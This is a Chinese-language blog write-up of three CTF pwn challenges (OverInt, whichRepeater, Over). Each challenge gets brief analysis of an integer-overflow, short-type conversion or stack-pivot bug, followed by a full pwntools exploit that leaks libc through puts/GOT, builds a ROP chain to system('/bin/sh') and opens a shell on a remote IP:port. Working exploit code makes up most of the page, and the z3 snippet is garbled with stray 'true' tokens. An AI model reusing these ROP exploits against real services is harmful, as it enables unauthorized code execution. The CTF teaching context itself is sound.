River5tone

Pwn训练1 —— 基本的漏洞利用(栈溢出、整数溢出、off by one)

字数统计: 1.1k阅读时长: 5 min
2019/07/08 Share

题目清单:

  • 2018鹏程杯初赛OverInt
  • whichRepeater
  • 2018安恒杯6月Over

Such_over(overInt)

  1. 64位elf,IDA静态分析,程序比较繁琐

  2. 输入4字节数key,由sub_4007D1进行check,得到的值应为35,可通过暴力z3跑出很多结果,通过该判定

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from z3 import *

    a = [BitVec('a[%d]'%i,32) for i in range(0,4)]
    ans = 0

    s = Solver()
    for i in range(4):
    trues.add(And(a[i]>=30,a[i]<128))
    s.add(((((((((ans*4+(a[0]>>4))^(a[0]<<10))
    true*4+(a[1]>>4))^(a[1]<<10))
    true*4+(a[2]>>4))^(a[2]<<10))
    true*4+(a[3]>>4))^(a[3]<<10))
    true%47 == 35)

    while s.check() == sat:
    trueaa = []
    truefor i in range(4):
    truetrueaa[i] = s.model()['a[' + i + ']']
    truetrues.add(a[i]!=aa[i])
    trueprint(aa)
  3. sub_40071是再次输入4个字节,表示将要输入的数字个数,求其和,需等于v17即0x20633372,随意构造即可。

  4. 之后需判定使最开始输入的四字节key+v17小于4,这里需得整数溢出。很奇怪得是,我跑的时候溢出多了以为溢出成负数然而并不可以,只有正正好好的溢出0~3,故而直接试了4个数,果然有能通过前面check的,即用。

  5. 接下来的修改部分不考虑数组大小,可以修改数组之外的部分,即可把payload布置在栈中。

  6. exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    from pwn import *
    from LibcSearcher import *

    r = remote('47.106.94.13','50001')
    p = ELF('./overInt')
    context(os='linux',arch='i386',log_level='debug')


    def pre():
    truer.recvuntil('number: \n')
    truer.send('\x8f\xCC\x9C\x5F')

    truer.recvuntil('have?\n')
    truer.send('\5' + '\0\0\0')

    truer.recvuntil('is: \n')
    truer.send('\0\0\0' + ' ')
    truer.recvuntil('is: \n')
    truer.send('\0\0' + 'c' + '\0')
    truer.recvuntil('is: \n')
    truer.send('\0' + '3' + '\0\0')
    truer.recvuntil('is: \n')
    truer.send('r' + '\0\0\0')
    truer.recvuntil('is: \n')
    truer.send('\0\0\0\0')


    def modify(payload):
    truer.recvuntil('modify?\n')
    truer.send(' ' + '\0\0\0')

    truefor i in range(32):
    truetruer.recvuntil('modify?\n')
    truetruer.send(chr(0x38 + i) + '\0\0\0')
    truetruer.recvuntil('in?\n')
    truetruer.send(payload[i])


    pre()

    plt_puts = p.plt['puts']
    got_puts = p.got['puts']
    vul_addr = 0x0040087F
    rdi_addr = 0x00400B13

    payload1 = p64(rdi_addr) + p64(got_puts) + p64(plt_puts) + p64(vul_addr)

    modify(payload1)

    r.recvuntil('hello!')
    puts_addr = u64(r.readline()[0:6] + '\0\0')
    print(puts_addr)

    pre()

    obj = LibcSearcher('puts',puts_addr)

    offset_puts = obj.dump('puts')
    offset_sys = obj.dump('system')
    offset_binsh = obj.dump('str_bin_sh')

    libcbase = puts_addr - offset_puts
    sys_addr = libcbase + offset_sys
    binsh_addr = libcbase + offset_binsh

    payload2 = p64(rdi_addr) + p64(binsh_addr) + p64(sys_addr) + p64(1)

    modify(payload2)

    r.recvuntil('hello!')

    r.interactive()

    # flag{b536a9b6-b755-4b10-a6b0-8d42e4c001e8}

how_do_with_one(whichRepeater)

  1. 32位elf,IDA静态分析。

  2. 如下图所示,存在着无符号短整型与有符号短整型转换的漏洞。如果输入-32678,其判定为小于等于1024,且能读入0x800个字节。

  3. exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    from LibcSearcher import *

    r = remote('47.106.94.13','50002')
    p = ELF('./whichRepeater')
    context(os='linux',arch='i386',log_level='debug')


    plt_puts = p.plt['puts']
    got_puts = p.got['puts']
    vul_addr = 0x0804877D

    r.recvuntil('reapeat?\n')
    r.send('-32768\n')

    payload1 = 'a'*(0x41B + 0x4) + p32(plt_puts) + p32(vul_addr) + p32(got_puts) # + 'a'*(0x800 - 0x42B)

    r.recvuntil('32768\n')
    r.send(payload1)

    x = r.recvuntil('reapeat?\n')
    puts_addr = u32(x[0:4])

    obj = LibcSearcher('puts', puts_addr)

    offset_puts = obj.dump('puts')
    offset_sys = obj.dump('system')
    offset_binsh = obj.dump('str_bin_sh')

    libc = puts_addr - offset_puts
    sys_addr = libc + offset_sys
    binsh_addr = libc + offset_binsh

    r.send('-32768\n')

    payload2 = 'a'*(0x41B + 0x4) + p32(sys_addr) + p32(1) + p32(binsh_addr) # + 'a'*(0x800 - 0x42B)

    r.recvuntil('32768\n')
    r.send(payload2)

    r.interactive()

    # flag{23b76a24-2592-4d04-8055-5f4f79a758fb}

what_stack(over)

  1. 64位elf,IDA静态分析。

  2. 与ACTF线上赛baby_stack相似,也是只有16字节的利用空间,通过mov esp,ebp | pop ebp,将栈移动,唯一不同的地方是,buf的地址并没有告诉我们,所以我们可以通过输入无意义字符的方式,泄露栈中上一个栈帧,通过计算得到sub_400676函数中的buf地址,即ebp-10h(esp抬高)-10h(返回地址与ebp)-50h(buf偏移量)

  3. 从而我们可以获得buf地址,构造栈迁移payload,常规泄露libc地址,因为是x86,64位elf,所以要用pop rdi | ret,将参数传入rdi寄存器。

  4. 同理获得libc版本后进行获取权限的payload。不过此时的buf地址,因为之前的操作会有相应的变化,新的buf地址应为当前buf_addr + 40(执行payload) -8(push rbp) + 50h(buf偏移量)

  5. exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    from pwn import *
    from LibcSearcher import *

    r = remote('47.106.94.13','50000')
    p = ELF('./over')
    context(os='linux',arch='i386',log_level='debug')

    plt_puts = p.plt['puts']
    got_puts = p.got['puts']
    vul_addr = 0x400676
    rdi_addr = 0x400793
    lev_addr = 0x4006be

    r.recvuntil('>')
    r.send('a'*0x50)
    get_buf_str = r.recvline()[0x50:0x56] + '\0\0'
    buf_addr = u64(get_buf_str) - 0x50 - 0x10 - 0x10

    payload1 = p64(1) + p64(rdi_addr) + p64(got_puts) + p64(plt_puts) + p64(vul_addr) + 'a'*(0x50-40) + p64(buf_addr) + p64(lev_addr)

    r.recvuntil('>')
    r.send(payload1)

    r.recvline()
    puts_addr = u64(r.recvline()[0:6]+'\0\0')

    obj = LibcSearcher('puts', puts_addr)

    offset_system = obj.dump('system')
    offset_binsh = obj.dump('str_bin_sh')
    offset_puts = obj.dump('puts')

    libcbase = puts_addr - offset_puts
    system_addr = libcbase + offset_system
    binsh_addr = libcbase + offset_binsh

    buf_addr = buf_addr + 32 - 0x50
    payload2 = p64(1) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(vul_addr) + 'a'*(0x50-40) + p64(buf_addr) + p64(lev_addr)

    r.recvuntil('>')
    r.send(payload2)

    r.interactive()

    # flag{dc03e80e-2cd9-41a1-8e1d-56aca8aeb5bf}
CATALOG
  1. 1. Such_over(overInt)
  2. 2. how_do_with_one(whichRepeater)
  3. 3. what_stack(over)